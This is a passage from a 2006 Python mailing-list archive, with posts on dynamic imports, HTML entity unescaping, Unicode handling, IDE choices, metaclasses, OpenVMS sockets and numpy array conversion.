bother with __nonzero__). Using such > objects in a boolean context is almost always an error. It still seems like a reasonable thing for a programmer to do though, even if the language doesn't currently support it. Would it make sense to *define* a truth value for iterators? Or at least to enable those that *are* able to say "I'm empty" to do so in a way that boolean contexts can interpret as "false"? Perhaps allowing (but not requiring) an iterator object to grow a 'len' method is the simplest way. -- \ "I like my dental hygenist, I think she's very pretty; so when | `\ I go to have my teeth cleaned, while I'm in the waiting room I | _o__) eat an entire box of cookies." -- Steven Wright | Ben Finney From duncan.booth at invalid.invalid Tue Oct 17 07:10:05 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 17 Oct 2006 11:10:05 GMT Subject: Cannot import a module from a variable References: <1160920129.886155.112970@b28g2000cwb.googlegroups.com> Message-ID: "Tim Williams" wrote: >> The import statement expects a name (a symbol), not a string. >> > > eval( 'import %s' % modname) > > and > > eval( 'reload(%s)' % modname) > > Usual warnings about eval apply, but in this case it is usable. Did you actually try your suggestion before posting? >>> modname = 'os' >>> eval( 'import %s' % modname) Traceback (most recent call last): File "", line 1, in eval( 'import %s' % modname) File "", line 1 import os ^ SyntaxError: invalid syntax >>> Also, it is pretty pointless to import the module and not know which arbitrary variable name it will have created. It is much simpler just to use the __import__ builtin: >>> module = __import__(modname) >>> module From horpner at yahoo.com Tue Oct 17 13:19:20 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 17 Oct 2006 19:19:20 +0200 Subject: making a valid file name... References: <1161102165.272182.207990@m73g2000cwd.googlegroups.com> Message-ID: On 2006-10-17, Tim Chase wrote: > If you're doing it on a time-critical basis, it might help to > make "valid" a set, which should have O(1) membership testing, > rather than using the "in" test with a string. I don't know > how well the find() method of a string performs in relationship > to "in" testing of a set. Test and see, if it's important. The find method of (8-bit) strings is really, really fast. My guess is that set can't beat it. I tried to beat it recently with a binary search function. Even after applying psyco find was still faster (though I could beat the bisect functions by a little bit by replacing a divide with a shift). -- Neil Cerutti This is not a book to be put down lightly. It should be thrown with great force. --Dorothy Parker From pretoriano_2001 at hotmail.com Tue Oct 17 12:36:14 2006 From: pretoriano_2001 at hotmail.com (pretoriano_2001 at hotmail.com) Date: 17 Oct 2006 09:36:14 -0700 Subject: A question about list Message-ID: <1161102973.920895.141500@i42g2000cwa.googlegroups.com> Hello: Variable 'a' has the next values: [[1,1],[2,2]] and I want to take a to b as: [[1,1,'='],[2,2,'=']] How can I do this with only one line of instruction? Thanks!! From klaus at seistrup.dk Sat Oct 28 17:40:05 2006 From: klaus at seistrup.dk (Klaus Alexander Seistrup) Date: Sat, 28 Oct 2006 21:40:05 +0000 (UTC) Subject: unescape HTML entities References: Message-ID: Rares Vernica wrote: > How can I unescape HTML entities like " "? > > I know about xml.sax.saxutils.unescape() but it only deals with > "&", "<", and ">". > > Also, I know about htmlentitydefs.entitydefs, but not only this > dictionary is the opposite of what I need, it does not have > " ". How about something like: #v+ #!/usr/bin/env/python '''dehtml.py''' import re import htmlentitydef myrx = re.compile('&(' + '|'.join(htmlentitydefs.name2codepoint.keys()) + ');') def dehtml(s): return re.sub( myrx, lambda m: unichr(htmlentitydefs.name2codepoint[m.group(1)]), s ) # end def dehtml if __name__ == '__main__': import sys print dehtml(sys.stdin.read()).encode('utf-8') # end if #v- E.g.: #v+ $ echo 'frække frølår' | ./dehtml.py fr?kke fr?l?r $ #v- -- Klaus Alexander Seistrup Copenhagen, Denmark, EU http://klaus.seistrup.dk/ From fredrik at pythonware.com Thu Oct 5 07:04:05 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 5 Oct 2006 13:04:05 +0200 Subject: Testing if an object is a function References: <1160045941.341621.32110@b28g2000cwb.googlegroups.com> Message-ID: Claus Tondering wrote: > But what do I do if I want to test if x is a function? > > I can do this: > > if isinstance(x, type(lambda: None)): ... > > But it does not seem very elegant to me. > > Surely there is a simpler way to specify a type object that is the type > of a function. if callable(x): ... (if you really want a function object, and not anything that's likely to be possible to call, see the "types" module) From massi_srb at msn.com Thu Oct 12 05:05:41 2006 From: massi_srb at msn.com (Massi) Date: 12 Oct 2006 02:05:41 -0700 Subject: Code generator Message-ID: <1160643941.229626.146210@b28g2000cwb.googlegroups.com> Hello NG! Can anybody explain me how to install the code generator fo ctypes on my pc? I use windows... for example I found this line command on the overview: python h2xml.py windows.h -o windows.xml -q -c Where do I have to type? and where do I have to put the file that I got from the repository? Thank you for the help! Massi From roy at panix.com Wed Oct 11 09:51:17 2006 From: roy at panix.com (Roy Smith) Date: Wed, 11 Oct 2006 09:51:17 -0400 Subject: How to write Smart Python programs? References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com> <452cae13$0$24783$426a74cc@news.free.fr> <452cbe11$1@news.vo.lu> Message-ID: Antoine De Groote wrote: > In Java, you have to use getters and setters because using public fields > gives you no opportunity to go back and change your mind later to using > getters and setters. This is a good example of an anti-pattern. The general thought process here is: 1) "I need the ability to control access to an object's internal state". This is fine. Decoupling of interface from implementation is, in general, a good thing, and one of the guiding principles of OOD. 2) "In the language I'm using, the only way to do that is to write getter and setter functions". Fair enough. You gotta use the tools you have available to you. 3) "Getters and setters are an essential part of OOD". Here's where things go wrong. Just like one must learn to decouple interface from implementation in your programs, so must one learn to decouple them in your program design. Getters and setters are an language implementation detail. There's nothing magic about adding the word "get" to the beginning of a variable name and putting "()" after it. That's just how you spell "property" in C++ or java. It used to be said, "You can write Fortran in any language". The implication there was that a literal line-by-line translation (transliteration?) of a Fortran program into some other language usually resulted in a mess. I think we can generalize that to "You can write any language in any other language". Every language has a natural way of doing things. When you try to bring the old idioms and design processes from one language over to another, it usually doesn't work. Once, years ago, I was working in a lisp environment for maybe a year. It took me a little while to learn the syntax and basic function set, but I never really "got" it. I was writing C programs in lisp. The same thing happens when I try to speak Spanish. Even when I used Spanish a fair bit, I never really thought in Spanish. I thought in English and translated. That doesn't work very well. From sandravandale at yahoo.com Fri Oct 13 20:11:53 2006 From: sandravandale at yahoo.com (Sandra-24) Date: 13 Oct 2006 17:11:53 -0700 Subject: IDE In-Reply-To: <4zOXg.1918$uv5.11354@twister1.libero.it> References: <4zOXg.1918$uv5.11354@twister1.libero.it> Message-ID: <1160784713.923050.228050@f16g2000cwb.googlegroups.com> giuseppe wrote: > What is the better IDE software for python programming? > One word. Wing. The debugger will pay for itself within weeks. There is no better Python debugger for most situations. -Sandra From limodou at gmail.com Fri Oct 27 01:16:01 2006 From: limodou at gmail.com (limodou) Date: Fri, 27 Oct 2006 13:16:01 +0800 Subject: How to Split Chinese Character with backslash representation? In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A0615DD@mailbe01.teak.local.net> References: <3ACF03E372996C4EACD542EA8A05E66A0615DD@mailbe01.teak.local.net> Message-ID: <505f13c0610262216j283af501ra48231b0eebcff19@mail.gmail.com> On 10/27/06, Wijaya Edward wrote: > > Thanks but my intention is to strictly use regex. > Since there are separator I need to include as delimiter > Especially for the case like this: > > >>> str = '\xc5\xeb\xc7\xd5\xbc--FOO--BAR' > >>> field = list(str) > >>> print field > ['\xc5', '\xeb', '\xc7', '\xd5', '\xbc', '-', '-', 'F', 'O', 'O', '-', '-', 'B', 'A', 'R'] > > What we want as the output is this instead: > ['\xc5', '\xeb', '\xc7', '\xd5', '\xbc','FOO','BAR] > > What's the best way to do it? > If the case is very simple, why not just replace '_' with '', for example: str.replace('-', '') -- I like python! UliPad <>: http://wiki.woodpecker.org.cn/moin/UliPad My Blog: http://www.donews.net/limodou From Matthew.Warren at Digica.com Thu Oct 5 11:55:27 2006 From: Matthew.Warren at Digica.com (Matthew Warren) Date: Thu, 5 Oct 2006 16:55:27 +0100 Subject: building strings from variables In-Reply-To: <1160060458.147062.193070@c28g2000cwb.googlegroups.com> Message-ID: > -----Original Message----- > From: > python-list-bounces+matthew.warren=digica.com at python.org > [mailto:python-list-bounces+matthew.warren=digica.com at python.o > rg] On Behalf Of Gal Diskin > Sent: 05 October 2006 16:01 > To: python-list at python.org > Subject: building strings from variables > > Following a discussion with an associate at work about various ways to > build strings from variables in python, I'd like to hear your opinions > and preferred methods. The methods we discussed are: > 1. some_string = "cd %s ; %s %d %s %s" % ( working_dir, ssh_cmd, > some_count, some_param1, some_param2) > > 2. import string > template = string.Template("cd $dir ; $cmd $count $param1 > $param2") > some_string = template.substitute(dict(dir=working_dir, > > cmd=ssh_cmd, > > count=some_count, > > pararm1=some_param1, > > param2=some_param2)) > here you can use a couple of nice tricks by using class.__dict__ and > globals() \ locals() dictionaries. > > 3. some_string = "cd "+working_dir+" ; "+ssh_cmd+ " > "+str(some_count)+" "+some_param1+" "+some_param2 > (all these are supposed to produce the same strings) > > Which methods do you know of \ prefer \ think is better because...? > I will appreciate any opinions about the matter. :D I think, it would depend really on what your aims are (readable code, fast string generation...), and how the vars you want to build the string from are respresented in your code (is it natural to use a dict etc..) I kicked off a conversation similar to this earlier today, and that was my conclusion after helpful debate & advice. Matt. This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. You should not copy the email, use it for any purpose or disclose its contents to any other person. Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK Reception Tel: + 44 (0) 115 977 1177 Support Centre: 0845 607 7070 Fax: + 44 (0) 115 977 7000 http://www.digica.com SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa Tel: + 27 (0) 21 957 4900 Fax: + 27 (0) 21 948 3135 http://www.digica.com From pandyacus.xspam at xspam.sbcglobal.net Thu Oct 26 05:26:33 2006 From: pandyacus.xspam at xspam.sbcglobal.net (Chetan) Date: Thu, 26 Oct 2006 09:26:33 GMT Subject: using mmap on large (> 2 Gig) files References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> <1161648415.830523.225520@k70g2000cwa.googlegroups.com> <1161730045.377608.221250@e3g2000cwe.googlegroups.com> <7xr6wvbsf2.fsf@ruckus.brouhaha.com> <7xy7r3y1f9.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin writes: > I mean just have an interface to OS locks (Linux futex and whatever > the Windows counterpart is) and maybe also a utility function to do a > compare-and-swap in user space. There is code for spinlocks, but it allocates the lockword in the process memory. This can be used for thread synchronization, but not for IPC with external python or non-python processes. I found a PyIPC IPC package that seems to provide interface to Sys V shared memory and semaphore - but I just found it, so cannot comment on it at this time. From apardon at forel.vub.ac.be Fri Oct 6 06:23:35 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 6 Oct 2006 10:23:35 GMT Subject: What value should be passed to make a function use the default argument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xhcyk2u1z.fsf@ruckus.brouhaha.com> <463ff4860610060256i149b35d6ge32fad5d7e9f7289@mail.gmail.com> Message-ID: On 2006-10-06, Fredrik Lundh wrote: > hanumizzle wrote: > >> Not sure exactly what is going on / being argued about in this > > thread > > I'm describing best practices based on long experience of using and > developing and teaching and writing about Python stuff. Others have > other priorities, it seems. I just think you shouldn't assume the readers of the documentation are aware of best practices. -- Antoon Pardon From fredrik at pythonware.com Fri Oct 27 10:46:28 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 27 Oct 2006 16:46:28 +0200 Subject: virtual function appears in two bases In-Reply-To: <11c6e45f0610270447g3ad825adjf6027ed4637909b6@mail.gmail.com> References: <11c6e45f0610270447g3ad825adjf6027ed4637909b6@mail.gmail.com> Message-ID: joe Li wrote: > I saw the following code, but I don't understand the rule for virtual > function that appears in two bases > Could anyone explain it for me, thanks. http://docs.python.org/tut/node11.html#SECTION0011510000000000000000 From spedrosa at gmail.com Wed Oct 25 13:47:04 2006 From: spedrosa at gmail.com (Stephen Eilert) Date: 25 Oct 2006 10:47:04 -0700 Subject: python GUIs comparison (want) In-Reply-To: <1161790989.759272.49650@b28g2000cwb.googlegroups.com> References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> <1161790989.759272.49650@b28g2000cwb.googlegroups.com> Message-ID: <1161798424.168371.94390@m73g2000cwd.googlegroups.com> BartlebyScrivener wrote: > Well, I am woefully unqualified to speak to the general state of Python > gui frameworks, but I am in a similar situation as the OP, i.e., a > beginner looking to TRY some easy gui programming in Python. Not being > a computer science person, just an amateur scripter, I tend to learn > best from lots of examples. > > With all of that as background, I downloaded the latest wxPython demos > and docs yesterday. I suggest that the OP do the same. The demo.py > program is an amazing piece of work. It's loaded with specific examples > which allow you to view the frame or dialog etc, and then look behind > it to see the code used to create it. > > rd You can also download wxGlade and ask it to generate the code for you. You just have to layout the components the way you want it, wxGlade does the rest. Even though there are tons of wxWidgets components it does not support, you can put something as a placeholder and just replace the code later. For looks, speed, ease of use (even though it is not Pythonic), platform compatibility and use of native widgets, my vote goes to wxPython. If you don't mind adding another layer (as I doubt the runtime performance suffers much - if at all), there is dabo.ui (thanks to whoever pointed it out to me). PyQT looks good... under KDE, alien under Win32. PyGTK looks good under Gnome, and acceptable on Win32, even if their widgets do not always act as Win32 users would expect. From davelist at mac.com Sun Oct 1 19:23:48 2006 From: davelist at mac.com (davelist at mac.com) Date: Sun, 1 Oct 2006 19:23:48 -0400 Subject: Simple but fast 2D lib for drawing pixels In-Reply-To: <4520408d$0$26622$91cee783@newsreader01.highway.telekom.at> References: <1159225798.492198.89880@b28g2000cwb.googlegroups.com> <1hmhych.1jaomee1msbzi8N%aleax@mac.com> <1159706488.576589.82080@i3g2000cwc.googlegroups.com> <4520408d$0$26622$91cee783@newsreader01.highway.telekom.at> Message-ID: On Oct 1, 2006, at 6:28 PM, Peter Mexbacher wrote: > Hello, > > we want to teach absolute programming newbies > a first language, so they can start programming > simple scientific models. > > We thought Python would make a good choice for > a first language; but where pretty stumped when > we found out that there is no simple way to draw > pixels to a screen. (This is needed for fractals, > agent-based models etc -> like Conways Game of Life) > > Our requirements: > > -) easy to learn (newbs!) > -) not too slow (after all, the models should simulate something) > -) python :-) > > Any ideas? > > Best Regards, > Peter You might check out John Zelle's Python book - he uses a simple graphics library on top of Tk (which Python comes with). You can find information on his book and the graphics.py file he uses at: http://mcsp.wartburg.edu/zelle/python/ It certainly meets your easy to learn and Python requirements - and of course speed is subjective so it may or may not be fast enough for you. Dave From deets at nospam.web.de Fri Oct 20 09:06:56 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Fri, 20 Oct 2006 15:06:56 +0200 Subject: Unicode support in python In-Reply-To: <1161347155.127042.88710@m7g2000cwm.googlegroups.com> References: <1161333949.746819.253500@m7g2000cwm.googlegroups.com> <1161347155.127042.88710@m7g2000cwm.googlegroups.com> Message-ID: <4prvvdFke713U1@uni-berlin.de> sonald schrieb: > Fredrik Lundh wrote: >>> http://www.google.com/search?q=python+unicode >> (and before anyone starts screaming about how they hate RTFM replies, look >> at the search result) >> >> > Thanks!! but i have already tried this... Tried - might be. But you certainly didn't understand it. So I suggest that you read it again. > and let me tell you what i am trying now... > > I have added the following line in the script > > # -*- coding: utf-8 -*- This will _only_ affect unicode literals inside the script itself - nothing else! No files read, no files written, and additionally the path of sun, earth and moon are unaffected as well - just in case you wondered. This is an example of what is affected now: -------- # -*- coding: utf-8 -*- # this string is a byte string. it is created as such, # regardless of the above encoding. instead, only # what is in the bytes of the file itself is taken into account some_string = "b?chsenb?ller" # this is a unicode literal (note the leading u). # it will be _decoded_ using the above # mentioned encoding. So make sure, your file is written in the # proper encoding some_unicode_object = u"b?chsenb?ller" --------- > I have also modified the site.py in ./Python24/Lib as > def setencoding(): > """Set the string encoding used by the Unicode implementation. The > default is 'ascii', but if you're willing to experiment, you can > change this.""" > encoding = "utf-8" # Default value set by _PyUnicode_Init() > if 0: > # Enable to support locale aware default string encodings. > import locale > loc = locale.getdefaultlocale() > if loc[1]: > encoding = loc[1] > if 0: > # Enable to switch off string to Unicode coercion and implicit > # Unicode to string conversion. > encoding = "undefined" > if encoding != "ascii": > # On Non-Unicode builds this will raise an AttributeError... > sys.setdefaultencoding(encoding) # Needs Python Unicode build ! > > Now when I try to validate the data in the text file > say abc.txt (saved as with utf-8 encoding) containing either english or > russian text, > > some junk character (box like) is added as the first character > what must be the reason for this? > and how do I handle it? You shouldn't tamper with the site-wide encoding, as this will mask errors you made in the best case, let alone not producing new ones. And what do you think it would help you anyway? Pythons unicode support would be stupid to say the least if it required the installation changed before dealing with files of different encodings - don't you think? As you don't show us the code you actually use to read that file, I'm down to guessing here, but if you just open it as binary file with content = open("test.txt").read() there won't be any magic decoding happening. What you need to do instead is this (if you happen to know that test.txt is encoded in utf-8): content = open("test.txt").read().decode("utf-8") Then you have a unicode object. Now if you need that to be written to a terminal (or wherever your "boxes" appear - guessing here too, no code, you remember?), you need to make sure that - you know the terminals encoding - you properly endcode the unicode content to that encoding before printing, as otherwise the default-encoding will be used So, in case your terminal uses utf-8, you do print content.encode("utf-8") Diez From bernard.chhun at gmail.com Fri Oct 13 10:37:07 2006 From: bernard.chhun at gmail.com (Bernard) Date: 13 Oct 2006 07:37:07 -0700 Subject: Best IDE? In-Reply-To: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> Message-ID: <1160750227.507474.134240@b28g2000cwb.googlegroups.com> IDE : SPE (Stani's python editor) : http://stani.be/python/spe/blog/ Why?: because this IDE is not complicated. it ships with a debugger, a gui designer, a source code checker and a regex console. Like: obviously everything Hate: sometimes it doesn't start on windows 2000 Platform: Windows, Linux, Mac cost: free but I'll donate some money because I like it Ahmer wrote: > What do you guys use? > Why? > What do you like and hate about it? > What platform(s) is it avalable on? > How much does it cost? > etc. From jf.pieronne at laposte.net Tue Oct 24 05:34:12 2006 From: jf.pieronne at laposte.net (=?ISO-8859-15?Q?Jean-Fran=E7ois_Pi=E9ronne?=) Date: Tue, 24 Oct 2006 11:34:12 +0200 Subject: Socket module bug on OpenVMS In-Reply-To: <453d508b$0$334$e4fe514c@news.xs4all.nl> References: <453ba3a8$0$322$e4fe514c@news.xs4all.nl> <453D472E.2080606@v.loewis.de> <453d508b$0$334$e4fe514c@news.xs4all.nl> Message-ID: <453dde1e$0$23062$426a34cc@news.free.fr> Irmen de Jong wrote: > Martin v. L?wis wrote: [snip] >> Perhaps you had some different work-around in mind? > > Nope, I was indeed thinking about splitting up the recv() into > smaller blocks internally. > Maybe a more elaborate check in Python's build system (to remove > the MSG_WAITALL on VMS) would qualify as some sort of work-around > as well. Although that would not yet solve the errors you get when > using too big recv() buffer sizes. > I have contact some guys from HP, unofficial reply is if it's not documented it's not supported... Why it's defined in socket.h may be because the TCP/IP stack from HP on OpenVMS is a port of the Tru64 Unix stack and the flag was present in Tru64. We will also investigate if the behaviour on OpenVMS when you use MSG_WAITALL is broken or not. So I will, in a forthcoming kit don't export this symbol under OpenVMS (if it's not documented it's not supported). I have also take a look at the problem of using big recv() buffer and found a bug when the buffer size is > 32767, only the first 32767 bytes are read, this will be also fixed in the next kit (only Python 2.5). I expect to have a new kit which include all these fixes be available before the end of the week. JF From fakeaddress at nowhere.org Tue Oct 24 01:49:06 2006 From: fakeaddress at nowhere.org (Bryan Olson) Date: Tue, 24 Oct 2006 05:49:06 GMT Subject: multythreading app memory consumption In-Reply-To: References: <453BFF50.5000402@inbox.ru> Message-ID: Gabriel Genellina wrote: > At Sunday 22/10/2006 20:31, Roman Petrichev wrote: > >> I've just faced with very nasty memory consumption problem. >> I have a multythreaded app with 150 threads which use the only and the >> same function - through urllib2 it just gets the web page's html code >> and assigns it to local variable. On the next turn the variable is > > Consider using asyncore or the Twisted framework instead of threads. But those won't play nice with urllib2. -- --Bryan From bignose+hates-spam at benfinney.id.au Wed Oct 4 19:05:23 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Thu, 05 Oct 2006 09:05:23 +1000 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <452410E9.9040403@v.loewis.de> <1159997348.228622.246410@h48g2000cwc.googlegroups.com> Message-ID: <87hcyjel70.fsf@benfinney.id.au> "David Goodger" writes: > Look at the results again. Jira and RoundUp tied for functionality, > but Jira has a hosting/admin offer behind it. That's huge. But > rather than declaring Jira the outright winner, which they could > have done, the committee has allowed the community to decide the > matter. If enough admins come forward, RoundUp will win. > > I read that as a big push for "written in Python". I prefer to read it as a big push for "not dependent on non-free tools". -- \ "To me, boxing is like a ballet, except there's no music, no | `\ choreography, and the dancers hit each other." -- Jack Handey | _o__) | Ben Finney From 3dbernard at gmail.com Thu Oct 19 22:19:32 2006 From: 3dbernard at gmail.com (Bernard Lebel) Date: Thu, 19 Oct 2006 22:19:32 -0400 Subject: Restricting import file lookup for pyd, dll, ... In-Reply-To: <7.0.1.0.0.20061019224508.04d95958@yahoo.com.ar> References: <61d0e2b40610191438w9ba0693y8896bebc3441069a@mail.gmail.com> <7.0.1.0.0.20061019184812.05aafe78@yahoo.com.ar> <61d0e2b40610191838m52cffdf1qd2168f6462728660@mail.gmail.com> <7.0.1.0.0.20061019224508.04d95958@yahoo.com.ar> Message-ID: <61d0e2b40610191919j571fde44nf742057486b30daf@mail.gmail.com> I'm affraid this step has already been done. I was not being pedantic when I said "locations that don't make sense", I *really* meant it. You would have to see the Filemon log! Anyway, then is there a way to tell Python not to look for pyd/dll and others in certain locations? In locations were you expect not to have such files for example? Thanks Bernard On 10/19/06, Gabriel Genellina wrote: > At Thursday 19/10/2006 22:38, Bernard Lebel wrote: > > >That's because I'm using Python through another application, via the > >pywin32 extensions. When that other application starts, it performs > >several thousands of file requests (we're talking 4,500, roughly) in > >the Python installation, locations where there are Python files, and > >in some other locations that don't make sense. This adds considerable > >time to the startup time of the application, we're talking between 2 > >and 9 seconds. > > > >This a problem with the application, not Python. But I'm looking for > >ways to minimize this overhead so the users of this application waste > >less time waiting after the startup. > > Try to shorten the PYTHONPATH to the really required directories > (deleting those locations "that don't make sense"). > > > -- > Gabriel Genellina > Softlab SRL > > __________________________________________________ > Correo Yahoo! > Espacio para todos tus mensajes, antivirus y antispam ?gratis! > ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar > > From letezo at fw.hu Sat Oct 28 19:47:39 2006 From: letezo at fw.hu (=?iso-8859-2?B?TOl0ZXr1?=) Date: Sun, 29 Oct 2006 01:47:39 +0200 Subject: Metaclasses are not called in subclasses. What did I wrong? Message-ID: <002501c6faeb$8a22c1b0$8600a8c0@ANNA> I use Python 2.4.4. Please read the code below: ----------------------------------------------------------- from new import classobj def mymeta(name,bases,clsdict): print 'meta: %s'%name return classobj(name,bases,clsdict) class A(object): __metaclass__=mymeta class B(A): pass ----------------------------------------------------------- This should print meta: A meta: B when classes A and B are created. But only meta: B is missing, since mymeta() is not called when class B is created. Related python documentation states that mymeta() must be called when B is created, since metaclasses are looked up in bases classes if not found in the dictionary of the class itself. >From Python 2.4.4's manual: "Otherwise, if there is at least one base class, its metaclass is used (this looks for a __class__ attribute first and if not found, uses its type)." Thanks for your help. Viktor From utabintarbo at gmail.com Wed Oct 4 10:51:14 2006 From: utabintarbo at gmail.com (utabintarbo) Date: 4 Oct 2006 07:51:14 -0700 Subject: can't open chm files all of a sudden In-Reply-To: <45233927$0$1761$c3e8da3@news.astraweb.com> References: <45233927$0$1761$c3e8da3@news.astraweb.com> Message-ID: <1159973474.575295.252220@m7g2000cwm.googlegroups.com> John Salerno wrote: > Hi all. I apologize since this is only remotely Python related, but I > hope someone might now the solution. > > I tried opening my Python chm docs just now, as well as the one for > wxPython, and both are giving me an error dialog when I double-click > them and I can't open them. This happened apparently for no reason, just > today. I even reset but that didn't help. > > Does anyone know what might cause this, and if it could affect the rest > of Python or wxPython as well? Are these files on a network share? >From http://support.microsoft.com/kb/892675/en-us : "This problem occurs because security update 896358 and 890175 prevent HTML content that is outside the Local Machine zone from creating an instance of the HTML Help ActiveX control (HHCTRL). This change was introduced to reduce security vulnerabilities in HTML Help." HTH From msherman77 at yahoo.com Sun Oct 29 15:40:58 2006 From: msherman77 at yahoo.com (Michael S) Date: Sun, 29 Oct 2006 15:40:58 -0500 (EST) Subject: looping through two list simultenously In-Reply-To: <1162153701.052043.160030@h48g2000cwc.googlegroups.com> Message-ID: <20061029204059.50064.qmail@web88309.mail.re4.yahoo.com> What if you do it in 2 separate threads? --- CSUIDL PROGRAMMEr wrote: > folks > I have two lists > > i am trying to loop thorough them simultenously. > > Here is the code i am using > > f1 = os.popen('ls chatlog*.out') > data1=f1.readlines() > f1.close() > > data1=[x.strip() for x in data1] > f1 = os.popen('ls chatlog*.txt') > data=f1.readlines() > f1.close() > for eachline in data1 and line in data: > > filename='/root/Desktop/project/'+ eachline > print filename > outfile=open(filename,'r') > filename1='/root/Desktop/project/' + line > print filename1 > > I get the error that line is not defined. > Traceback (most recent call last): > File "list.py", line 16, in ? > for eachline in data1 and line in data: > NameError: name 'line' is not defined > > Is there any efficient doing this > > -- > http://mail.python.org/mailman/listinfo/python-list > From johnnylee194 at gmail.com Thu Oct 19 23:08:38 2006 From: johnnylee194 at gmail.com (Johnny) Date: 19 Oct 2006 20:08:38 -0700 Subject: Default location while open an Excel file Message-ID: <1161313718.200425.130220@i3g2000cwc.googlegroups.com> Hi, As you know, I can use this to open an Excel file: """ import win32com.client doc = win32com.client.Dispatch("Excel.Application") doc.Workbooks.Open(excelFile, ReadOnly=True) """ But the problem is when I only pass the filename to the Open() method, and of course the file is in the current directory, it will throw an exception that the specified file can't be found. When I use os.path.abspath(excelFile) instead, it works. But I do know that somebody can only pass a filename, and no exception is raised. Now I wonder is that because the "somebody" happen to put the file on the default location of the Open() method? If so, does any one know the default location? Thanks for your consideration. Regards, Johnny From jstroud at mbi.ucla.edu Thu Oct 5 19:02:28 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Thu, 05 Oct 2006 23:02:28 GMT Subject: Graph Theory In-Reply-To: <1160078200.790616.209000@i42g2000cwa.googlegroups.com> References: <1160078200.790616.209000@i42g2000cwa.googlegroups.com> Message-ID: <8agVg.10235$e66.9444@newssvr13.news.prodigy.com> diffuser78 at gmail.com wrote: > Is there any library in Python which has implementation of graph > theoretic algorithms and models ? > I don't know much about graph theory, but a coworker who does a lot of it mentioned something about boost: http://www.boost.org/libs/graph/doc/python.html James -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From grflanagan at yahoo.co.uk Sun Oct 29 14:45:17 2006 From: grflanagan at yahoo.co.uk (Gerard Flanagan) Date: 29 Oct 2006 11:45:17 -0800 Subject: logo design - BZZZT! OT! In-Reply-To: References: <1162103065.460796.303660@f16g2000cwb.googlegroups.com> Message-ID: <1162151117.887222.267030@f16g2000cwb.googlegroups.com> John Bokma wrote: > Xah Lee is a well-known spammer, almost all his messages contain at least > one link to his site in the body. > > Somehow this time he limited his post to 3 groups instead of the usual 5. > Maybe talking with the right people does work. It did with Dreamhost. And > I am sure his current hosting provider is listening ;-) > Charybdis... From dannycolligan at gmail.com Tue Oct 31 14:36:09 2006 From: dannycolligan at gmail.com (Danny Colligan) Date: 31 Oct 2006 11:36:09 -0800 Subject: Why can't you assign to a list in a loop without enumerate? In-Reply-To: References: <1162320362.257426.121370@e3g2000cwe.googlegroups.com> Message-ID: <1162323368.954163.144930@e64g2000cwd.googlegroups.com> I see. Thanks for the helpful response. Danny Duncan Booth wrote: > "Danny Colligan" wrote: > > > In the following code snippet, I attempt to assign 10 to every index in > > the list a and fail because when I try to assign number to 10, number > > is a deep copy of the ith index (is this statement correct?). > > No. There is no copying involved. > > Before the assignment, number is a reference to the object to which the ith > element of the list also refers. After the assignment you have rebound the > variable 'number' so it refers to the value 10. You won't affect the list > that way. > > > My question is, what was the motivation for returning a deep copy of > > the value at the ith index inside a for loop instead of the value > > itself? > > There is no copying going on. It returns the value itself, or at least a > reference to it. > > > Also, is there any way to assign to a list in a for loop (with > > as little code as used above) without using enumerate? > > a[:] = [10]*len(a) > > or more usually something like: > > a = [ fn(v) for v in a ] > > for some suitable expression involving the value. N.B. This last form > leaves the original list unchanged: if you really need to mutate it in > place assign to a[:] as in the first example, but if you are changing all > elements in the list then you usually want a new list. From oliphant.travis at ieee.org Thu Oct 26 19:25:42 2006 From: oliphant.travis at ieee.org (Travis Oliphant) Date: Thu, 26 Oct 2006 17:25:42 -0600 Subject: numpy numbers converted wrong In-Reply-To: References: Message-ID: robert wrote: > in Gnuplot (Gnuplot.utils) the input array will be converted to a Numeric float array as shown below. When I insert a numpy array into Gnuplot like that below, numbers 7.44 are cast to 7.0 > Why is this and what should I do ? Is this bug in numpy or in Numeric? > > > [Dbg]>>> m #numpy array > array([[ 9.78109200e+08, 7.44000000e+00], > [ 9.78454800e+08, 7.44000000e+00], > [ 9.78541200e+08, 8.19000000e+00], > ..., > [ 1.16162280e+09, 8.14600000e+01], > [ 1.16170920e+09, 8.10500000e+01], > [ 1.16179560e+09, 8.16800000e+01]]) > [Dbg]>>> Numeric.asarray(m, Numeric.Float32)[:10] > array([[ 9.78109184e+008, 7.00000000e+000], > [ 9.78454784e+008, 7.00000000e+000], > [ 9.78541184e+008, 8.00000000e+000], > [ 9.78627584e+008, 8.00000000e+000], > [ 9.78713984e+008, 8.00000000e+000], > [ 9.78973184e+008, 8.00000000e+000], > [ 9.79059584e+008, 8.00000000e+000], > [ 9.79145984e+008, 8.00000000e+000], > [ 9.79232384e+008, 9.00000000e+000], > [ 9.79318784e+008, 8.00000000e+000]],'f') > [Dbg]>>> Numeric.asarray(m, Numeric.Float)[:10] > array([[ 9.78109200e+008, 7.00000000e+000], > [ 9.78454800e+008, 7.00000000e+000], > [ 9.78541200e+008, 8.00000000e+000], > [ 9.78627600e+008, 8.00000000e+000], > [ 